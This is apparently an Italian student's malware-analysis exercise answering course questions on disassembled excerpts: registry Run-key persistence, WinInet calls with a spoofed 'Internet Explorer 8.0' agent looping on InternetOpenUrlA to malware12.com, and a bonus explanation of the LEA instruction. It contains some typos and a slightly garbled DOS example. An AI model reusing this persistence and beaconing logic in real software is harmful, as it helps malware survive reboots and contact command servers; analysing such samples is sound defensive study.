

S11L1

```

.text:00401150 ;----- SUBROUTINE -----
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress      proc near          ; DATA XREF: sub_401040+ECF0
.text:00401150                     push     esi
.text:00401151                     push     edi
.text:00401152                     push     0          ; dwFlags
.text:00401154                     push     0          ; lpSzProxyBypass
.text:00401156                     push     0          ; lpSzProxy
.text:00401158                     push     1          ; dwAccessType
.text:0040115A                     push     offset szAgent ; "Internet Explorer 8.0"
.text:0040115F                     call    ds:InternetOpenA
.text:00401165                     mov     edi, ds:InternetOpenUrlA
.text:00401168                     mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:          ; CODE XREF: StartAddress+30↓j
.text:0040116D                     push     0          ; dwContext
.text:0040116F                     push     80000000h   ; dwFlags
.text:00401171                     push     0          ; dwHeadersLength
.text:00401173                     push     0          ; lpSzHeaders
.text:00401175                     push     offset szUrl ; "http://www.malware12.com
.text:00401177                     push     esi         ; hInternet
.text:00401179                     call    edi ; InternetOpenUrlA
.text:0040117B                     jmp     short loc_40116D
.text:0040117D                     StartAddress      endp

```

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza , evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- **BONUS:** qual è il significato e il funzionamento del comando assembly "lea"



01


descrivere cosa fa il malware



Il codice assembly che vediamo nella prima immagine dimostra come il malware ottiene la persistenza modificando il registro del sistema di Windows, utilizzando questa chiave di registro:

`Software\Microsoft\Windows\CurrentVersion\Run`

Questa chiave fa sì che il malware si esegua appena il sistema si avvia



identificare il client software 02

Il client utilizzato dal malware della seconda immagine è quello di Wininet di Windows, che consente all'applicazione di interagire con i protocolli FTP e HTTP per accedere alle risorse Internet.

L'API utilizzato come possiamo vedere sono: InternetOpenA e InternetOpneUrlA, che come detto precedentemente fanno parte di Wininet, simulando la connessione tramite Internet explorer 8.0

```
.text:00401150 ; !!!!!!!!!!!!!!! S U B R O U T I N E !!!!!!!!!!!!!!!
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+ECF0
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:00401168 mov esi, eax
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+304j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malware12.com"
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180
.text:00401180
```

03

identificare l'URL

```
push    0 ; lpzHeaders  
push    offset szUrl ; "http://www.malware12.com  
push    esi ; hInternet  
call    edi ; InternetOpenUrlA
```

il malware tenta di connettersi all'url:

<http://ww.malware12.com>

per comunicare con un server di comando e controllo o per scaricare ulteriori componenti dannosi.

La chiamata `InternetOpenUrlA` è utilizzata per stabilire la connessione all'URL specificato.

BONUS

04

LEA

Carica la parte Offset di un puntatore

1. Questa istruzione copia l'effettivo valore esadecimale a 16 bit di una etichetta, passata come operando sorgente, nel registro di Offset indicato dall'operando destinazione.
2. Il registro coinvolto per ricevere l'offset del puntatore associato all'etichetta può essere uno qualunque dei registri a 16 bit (naturalmente esclusi quelli di segmento...).

Le sue caratteristiche sono riassunte nella seguente tabella:

LEA Registro, Etichetta		Destinazione (offset) << valore word etichetta Sorgente									
Esempio di Applicazione		Cicli di Clock				Mem	N°	Flag influenzate			
Mnemonico	Operandi	86	286	386	486	Acces	Bytes	O	D	I	T
LEA	SI, Depo02	2+EA	3	2	1	no	2,4				

E' importante sottolineare che il valore esadecimale a 16 bit scritto nel registro destinazione non è il contenuto della locazione puntata dall'etichetta ma l'indirizzo stesso della medesima locazione.

L'istruzione **LEA** torna molto utile nella lettura dei caratteri di una stringa o dei valori di una tabella; il codice seguente mostra una buona tecnica per scorrere i caratteri di un messaggio al fine di metterli a video; la nostra istruzione crea un puntatore (SI) alla stringa (Testo01) e lo usa per scaricarne il carattere corrente in AL, a beneficio della INT 10H (che si occupa della stampa a video); le operazioni hanno fine quando il byte corrente puntato da SI è il terminatore (cioè il byte a 00H):

Addr	Codifica	Masm	Istruzione
0100	EB 14 90		INIZIO: JMP MAIN
0103	20 45 73 65 6D 70		Testo01 DB "Esempio di Testo", 00H
	69 6F 20 64 69 20		
	54 65 73 74 6F 00		

0116	8D 36 0103		MAIN: LEA SI, Testo01
011A	2E 8A 04		BIOME_: MOV AL, CS:[SI]
011D	3C 00		CMP AL, 00H
011F	74 09		JZ BIOME_
0121	B7 00		MOV BH, 00H
0123	B4 0E		MOV AH, 0EH
0125	CD 10		INT 10H
0127	46		INC SI
0128	EB F0		JMP SHORT BIOME_
012A	90		BIOME_: NOP

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:lstrlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

Nella prima immagine vediamo diversi usi di “LEA”, per ben 4 volte